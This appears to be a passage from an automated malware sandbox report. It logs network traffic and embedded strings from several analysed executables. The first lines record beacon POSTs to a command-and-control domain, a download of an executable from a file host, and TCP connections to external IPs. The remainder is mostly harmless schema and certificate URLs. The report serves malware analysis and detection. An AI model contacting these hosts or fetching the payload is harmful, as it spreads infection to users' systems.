Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://bfwrlwg.net/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 179Host: nalirou70.top
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedAccept: /Referer: http://umqsuuguwn.org/User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoContent-Length: 364Host: nalirou70.top
Source: global traffic	HTTP traffic detected: GET /files/7993_1636371023_9825.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: host-host-file6.com

Source: global traffic	TCP traffic: 192.168.2.4:49864 -> 45.9.20.149:10844
Source: global traffic	TCP traffic: 192.168.2.4:49878 -> 93.115.20.139:28978

Source: 8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	String found in binary or memory: http://appldnld.apple.com/QuickTime/041-3089.20111026.Sxpr4/QuickTimeInstaller.exe
Source: AdvancedRun.exe.24.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s
Source: 59B4.exe.5.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: AdvancedRun.exe.24.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#
Source: 59B4.exe.5.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: 8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	String found in binary or memory: http://download.divx.com/player/divxdotcom/DivXWebPlayerInstaller.exe
Source: 8039.exe, 00000016.00000002.957840474.0000000002DA0000.00000004.00000001.sdmp	String found in binary or memory: http://forms.rea
Source: 8039.exe, 00000016.00000002.957840474.0000000002DA0000.00000004.00000001.sdmp	String found in binary or memory: http://forms.real.com/real/realone/download.html?type=rpsp_us
Source: 8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	String found in binary or memory: http://fpdownload.macromedia.com/get/shockwave/default/english/win95nt/latest/Shockwave_Installer_Sl
Source: 8039.exe, 00000016.00000002.957840474.0000000002DA0000.00000004.00000001.sdmp	String found in binary or memory: http://go.micros
Source: 8039.exe, 00000014.00000002.860118646.0000000002F03000.00000004.00000001.sdmp	String found in binary or memory: http://nvidia.custhelp.com/app/answers/detail/a_id/3553
Source: 59B4.exe.5.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/fault$
Source: 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultD
Source: 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultL
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp, B8B0.exe, 00000018.00000002.954057953.0000000003041000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: 8039.exe, 00000016.00000002.957840474.0000000002DA0000.00000004.00000001.sdmp	String found in binary or memory: http://service.r
Source: 8039.exe, 00000016.00000002.957840474.0000000002DA0000.00000004.00000001.sdmp	String found in binary or memory: http://service.real.com/realplayer/security/02062012_player/en/
Source: 8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	String found in binary or memory: http://support.a
Source: 8039.exe, 00000016.00000002.951714322.0000000002ABF000.00000004.00000001.sdmp	String found in binary or memory: http://support.apple.com/kb/HT203092
Source: 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/
Source: B8B0.exe.5.dr	String found in binary or memory: http://tempuri.org/DetailsDataSet1.xsd
Source: 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950832258.0000000002990000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: 59B4.exe, 00000013.00000002.960422762.0000000003251000.00000004.00000001.sdmp, 8039.exe, 00000016.00000002.950775295.0000000002901000.00000004.00000001.sdmp, 610B.exe, 0000001B.00000002.952967060.00000000026B1000.00000004.00000001.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
